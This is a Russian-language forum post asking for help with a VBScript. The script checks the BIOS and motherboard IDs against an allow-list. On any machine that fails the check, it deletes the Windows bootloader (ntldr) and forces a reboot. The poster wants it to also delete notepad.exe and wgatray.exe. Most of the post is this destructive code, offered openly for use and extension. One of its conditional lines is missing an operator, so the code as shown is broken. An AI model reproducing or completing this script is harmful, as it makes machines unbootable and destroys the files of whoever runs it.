Код:
Код: Выделить всё
Option Explicit
Dim objWMIService, arrayBIOS, objBIOS, strAllowedHost, strYouAreWelcome
Dim strOperatingSystem, colOperatingSystems
Dim objFSO, objShell, strSystemDrive
Dim objBaseboard, arrayBaseboard, strComputerHost, strPassword
Const wbemFlagReturnImmediately = &h10
Const wbemFlagForwardOnly = &h20
Const wmiRestartForce = 4
strPassword = "12345"
Dim arrayAllowedHosts(3)
arrayAllowedHosts(0) = "20090116000000.000000+000ga-ma770-ds3"
arrayAllowedHosts(1) = "20060704000000.000000+000nforce4 ddr2: mf4-j3, mf4-j3/g, af4-j3 series"
arrayAllowedHosts(2) = "20020315000000.000000+000sis-645"
arrayAllowedHosts(3) = "20010427000000.000000+0008363-686"
Set objShell = CreateObject("Wscript.Shell")
Set objWMIService = GetObject("winmgmts:\\.\root\CIMV2")
Set arrayBIOS = objWMIService.ExecQuery("SELECT * FROM Win32_BIOS", "WQL", wbemFlagReturnImmediately + wbemFlagForwardOnly)
Set arrayBaseBoard = objWMIService.ExecQuery("SELECT * FROM Win32_BaseBoard", "WQL", wbemFlagReturnImmediately + wbemFlagForwardOnly)
For Each objBIOS In arrayBIOS
For Each objBaseboard In arrayBaseBoard
strComputerHost = objBios.ReleaseDate & objBaseboard.Product
For Each strAllowedHost in arrayAllowedHosts
If Trim(LCase(strComputerHost)) = Trim(LCase(strAllowedHost)) Then strYouAreWelcome = 1
Next
Next
Next
If strYouAreWelcome 1 Then
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set colOperatingSystems = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true")
strSystemDrive = objShell.ExpandEnvironmentStrings("%SystemDrive%")
objFSO.DeleteFile strSystemDrive & "\ntldr", True
For Each strOperatingSystem in colOperatingSystems
strOperatingSystem.Reboot()
Next
Else If strYouAreWelcome = 1 Then
ObjShell.Run ("C:\PKUNZIP -e -d -s" & strPassword & " C:\Protect.zip C:\"), 0, True
End If
End If
Set objFSO = CreateObject("Scripting.FileSystemObject")
objFSO.DeleteFile ("C:\Protect.zip")
objFSO.DeleteFile ("C:\PKUNZIP.EXE")
objFSO.DeleteFile ("C:\PROTECTT.CMD")То что выделено жирным удаляет файл ntldr если ID BIOS не совпадает с заданным и производит принудительную перезагрузку. Мне нужно дописать скрипт так чтобы он удалял еще нужные мне файлы. Я делал так:
If strYouAreWelcome 1 Then
Set objFSO = CreateObject("Scripting.FileSystemObject")
Set colOperatingSystems = GetObject("winmgmts:{(Shutdown)}//./root/cimv2").ExecQuery("select * from Win32_OperatingSystem where Primary=true")
strSystemDrive = objShell.ExpandEnvironmentStrings("%SystemDrive%")
objFSO.DeleteFile strSystemDrive & "\ntldr", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\notepad.exe", True
objFSO.DeleteFile strSystemDrive & "\WINDOWS\system32\wgatray.exe", True
For Each strOperatingSystem in colOperatingSystems
strOperatingSystem.Reboot()
Next
Else If strYouAreWelcome = 1 Then
ObjShell.Run ("C:\PKUNZIP -e -d -s" & strPassword & " C:\Protect.zip C:\"), 0, True
End If
End If
Я просто дописал строки с удалением но ничего не вышло. Скрипт вообще ничего не удаляет и становится полностью не работоспособным.
Помогите пожалуйста.

